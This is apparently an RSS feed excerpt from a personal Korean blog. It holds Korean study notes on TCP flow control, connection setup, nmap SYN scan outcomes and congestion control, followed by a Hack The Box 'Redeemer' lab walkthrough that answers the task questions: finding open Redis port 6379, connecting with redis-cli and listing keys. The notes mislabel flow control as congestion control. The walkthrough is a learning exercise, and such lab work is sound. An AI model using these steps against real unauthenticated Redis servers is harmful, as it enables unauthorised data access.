<p>TCP는 송신자가 수신자의 버펄을 오버플로시키는 것을 방지하기 위해 애플리케이션에게 <strong>흐름 제어 서비스(flow-control service)</strong> 를 제공한다. 이는 <strong>혼잡 제어(congestion control)</strong> 로 알려져 있다. TCP는 송신자가 수신 윈도라는 변수를 유지하여 흐름 제어를 제공한다. 수신 윈도는 수신 측에서 가용한 버퍼 공간이 얼마나 되는지를 송신자에게 알려주는데 사용된다.</p>
<h3 id="56-tcp-연결-관리">5.6 TCP 연결 관리</h3>
<p>1단계: 먼저 클라이언트 측 TCP 는 서버 TCP에게 특별한 TCP 세그먼트를 송신한다.
2단계: TCP SYN 세그먼트르 포함하는 IP 데이터그램이 서버 호스트에 도착하면, 서버는 TCP SYN 세그먼트를 추출한다. 그리고 클라이언트 TCP로 연결 승인 세그먼트를 송신한다.
3단계: 연결 승인 세그먼트를 수신하면, 클라이언트는 연결에 버퍼와 변수를 할당한다. 그 다음에 클라이언트 호스트는 서버로 또 다른 세그먼트를 송신한다.</p>
<p>nmap으로 포트 6789를 목적지 포트로 하는 TCP SYN 세그먼트를 보내면 가능한 세 가지 결과가 있다.</p>
<ul>
<li>TCP SYNACK 세그먼트를 수신한다. 이것은 애플리케이션이 목표 호스트상에서 TCP 포트 6789를 가지고 실행됨을 의미한다.</li>
<li>TCP RST 세그먼트를 받는경우, 목표 호스트의 TCP 포트 6789를 가진 애플리케이션을 실행하지 않는 것을 의미한다. 다만 어떤 방화벽에도 차단되지 않음을 알 수 있다.</li>
<li>출발지가 아무것도 받지 않는 경우, 방화벽에 의해 차단되어 목표 호스트에 전혀 도달하지 않음을 의미하기 쉽다.</li>
</ul>
<h2 id="6-혼잡-제어의-원리">6. 혼잡 제어의 원리</h2>
<h3 id="61-혼잡의-원인과-비용">6.1 혼잡의 원인과 비용</h3>
<p>혼잡의 원인과 비용에 관한 몇 가지 사실은 다음과 같다.</p>
<ul>
<li>패킷 도착률이 링크 용량에 근접함에 따라 큐잉 지연이 커진다.</li>
<li>송신자는 버퍼 오버플로 때문에 버려진 패킷을 보상하기 위해 재전송을 수행해야한다.</li>
<li>커다란 지연으로 인한 송신자의 불필요한 재전송은 라우터가 패킷의 불필요한 복사본들을 전송하는 데 링크 대역폭을 사용하는 원인이 된다.</li>
<li>패킷이 경로상에서 버려질 때, 버려지는 지점까지 패킷을 전송하는 데 사용된 상위 라우터에서 사용된 전송 용량은 낭비된 것이다.</li>
</ul>
<h3 id="62-혼잡-제어에-대한-접근법">6.2 혼잡 제어에 대한 접근법</h3>
<p>혼잡 제어에 대한 접근 법은 크게 다음과 같이 구분할 수 있다.</p>
<ul>
<li>종단 간의 혼잡 제어: 혼잡 제어에 대한 종단 간의 접근방식에서 네트워크 계층은 혼잡 제어 목적을 위해 트랜스포트 계층에게 어떤 직접적인 지원도 제공하지 않는다.</li>
<li>네트워크 지원 혼잡 제어: 여기에서, 라우터들은 네트워크 안에서 혼잡 상태와 관련하여 송신자나 수신자 또는 모두에게 직접적인 피드백을 제공한다.</li>
</ul>
<h2 id="7-tcp-혼잡-제어">7. TCP 혼잡 제어</h2>
<h3 id="71-전통적인-tcp-혼잡-제어">7.1 전통적인 TCP 혼잡 제어</h3>
<ul>
<li>혼잡 윈도(<code>cwnd</code>): TCP 송신자가 네트워크로 트래픽을 전송할 수 있는 속도에 제약을 가한다.</li>
<li>송신자의 속도는 대략 <code>cwnd</code>/RTT바이트/초다. <code>cwnd</code>의 값을 조절하여, 송신자는 링크에 데이터를 전송하는 속도를 조절할 수 있다.</li>
</ul>
<p>혼잡 제어를 위한 TCP는 다음과 같은 처리 원칙을 갖는다.</p>
<ul>
<li>손실된 세그먼트는 혼잡을 의미하며, 이에 따라 TCP 전송률은 한 세그먼트를 손실했을 때 줄여야 한다.</li>
<li>확인응답된 세그먼트는 네트워크가 송신자의 세그먼트를 수신자에게 전송된다는 것이고, 이에 따라 이전에 확인응답되지 않은 세그먼트에 대해 ACK가 도착하면 송신자의 전송률은 증가할 수 있다.</li>
<li>대역폭 탐색</li>
</ul>
<p>이에 따른 TCP 혼잡 제어 알고리즘은 아래에 제시되어 있다.</p>
<ul>
<li>슬로 스타트</li>
<li>혼잡 회피</li>
<li>빠른 회복 &lt;= TCP 리노 채택</li>
</ul>
<h3 id="72-네트워크-지원-명시적-혼잡-알림과-지연-기반-혼잡-제어">7.2 네트워크 지원 명시적 혼잡 알림과 지연 기반 혼잡 제어</h3>
<h4 id="명시적-혼잡-알림explicit-congestion-notification">명시적 혼잡 알림(Explicit Congestion Notification)</h4>
<p>ECN 비트의 한 설정은 라우터가 정체를 겪고 있음을 나타내기 위해 라우터에서 사용된다. 그런 다음 이 혼잡 표시는 표시된 IP 데이터그램에서 목적지 호스트로 전달된 후, 송신 호스트에게 알려진다.</p>
<h4 id="지연-기반-혼잡-제어">지연 기반 혼잡 제어</h4>
<p>TCP 베가스에서는 모든 확인응답된 패킷에 대한 출발지에서 목적지까지의 경로의 RTT를 측정하고 이를 이용해 패킷 손실 이전에 더 일찍 전송 속도를 줄인다. 즉 혼잡 시작을 사전에 감지한다.
TCP 베가스는 TCP 송신자가 파이프를 가득 채우되 그 이상으로 채우지 않도록 해야한다는 직관적인 원칙하에 동작한다.</p>
<h3 id="73-공평성">7.3 공평성</h3>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/fa9dcfeb-c79c-4d99-b998-c9330f4117a1/image.png" alt=""></p>
<h2 id="8-트랜스포트-계층-기능의-발전">8. 트랜스포트 계층 기능의 발전</h2>
<h4 id="quic">QUIC</h4>
<p>애플리케이션 설계자가 애플리케이션 계층에 항상 &#39;자신의 프로토콜을 확장&#39;할 수 있으며, 이는 QUIC에서 취한 접근방식이다. QUIC의 주요 기능은 다음과 같다.</p>
<ul>
<li>연결지향적이고 안전함</li>
<li>애플리케이션 레벨의 스트림들을 다중화 할 수 있음.</li>
<li>신뢰적이고 TCP 친화적인 혼잡 제어 데이터 전송</li>
</ul>
<p>다시한번 말하지만 QUIC는 두 종단 사이에 신뢰적이고 혼잡 제어된 데이터 전송을 제공하는 <strong>애플리케이션 계층</strong> 프로토콜이라는 점을 다시 강조한다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[HTB] Starting Point: Redeemer]]></title>
            <link>https://velog.io/@chris-mk/HTB-Starting-Point-Redeemer</link>
            <guid>https://velog.io/@chris-mk/HTB-Starting-Point-Redeemer</guid>
            <pubDate>Tue, 12 Nov 2024 08:05:36 GMT</pubDate>
            <description><![CDATA[<h2 id="1-task">1. Task</h2>
<p><strong>Task1</strong>
Q: Which TCP port is open on the machine?
A: 6379
<img src="https://velog.velcdn.com/images/chris-mk/post/7462a02c-750a-4fa3-b7e4-3eaf2bf6262d/image.png" alt=""></p>
<p><strong>Task2</strong>
Q: Which service is running on the port that is open on the machine?
A: Redis</p>
<p><strong>Task3</strong>
Q: What type of database is Redis? Choose from the following options:
(i) In-memory Database, (ii) Traditional Database</p>
<p>A: In-memory Database</p>
<p><strong>Task4</strong>
Q: Which command-line utility is used to interact with the Redis server? Enter the program name you would enter into the terminal without any arguments.
A: redis-cli</p>
<p><strong>Task5</strong>
Q: Which flag is used with Redis command-line utility to specify the hostname?
A: -h</p>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/1eb7051c-762c-46f7-af94-ad28dad5b0a6/image.png" alt=""></p>
<p><strong>Task6</strong>
Q: ONce connected to Redis server, which command is used to obtaing the information and statistics about Redis server?
A: info</p>
<p><strong>Task7</strong>
Q: What is the version of the Redis server being used on the target machine?
A: 5.0.7</p>
<p><img src="https://velog.velcdn.com/images/chris-mk/post/00b062ae-5862-4793-b9b4-5dcc75a228d6/image.png" alt=""></p>
<p><strong>Task8</strong>
Q: Which command is used to select the desired database in Redis?
A: select
<img src="https://velog.velcdn.com/images/chris-mk/post/e227e0b1-c816-4b45-a77b-d5bdfa38d5f5/image.png" alt=""></p>
<p><strong>Task9</strong>
Q: How many keys are present inside the database with index 0?
A: 4
<img src="https://velog.velcdn.com/images/chris-mk/post/040af127-17d0-44b0-9e57-ef0fcfb69b25/image.png" alt=""></p>
<p><strong>Task10</strong>
Q: Which command is used to optain all the keys in a database?
A: keys *
<img src="https://velog.velcdn.com/images/chris-mk/post/26726cbc-0a77-4e0e-b45d-bb4fec38eece/image.png" alt=""></p>
<h2 id="2-redis">2. Redis</h2>
<h3 id="21-no-sql">2.1 No SQL</h3>
<p>Resdis is NoSQL. In Redis, data is stored in memory not disks. So Redis is faster than other SQL. 
Redis has vary type of data structure. A picture below, show them.
<img src="https://velog.velcdn.com/images/chris-mk/post/4aa8cbb7-5c8f-4519-aa1f-f88355b00bcb/image.png" alt=""></p>
<h3 id="22-command-list">2.2 Command list</h3>
<p><a href="https://redis.io/docs/latest/commands/">https://redis.io/docs/latest/commands/</a></p>
]]></description>
        </item>
    </channel>
</rss>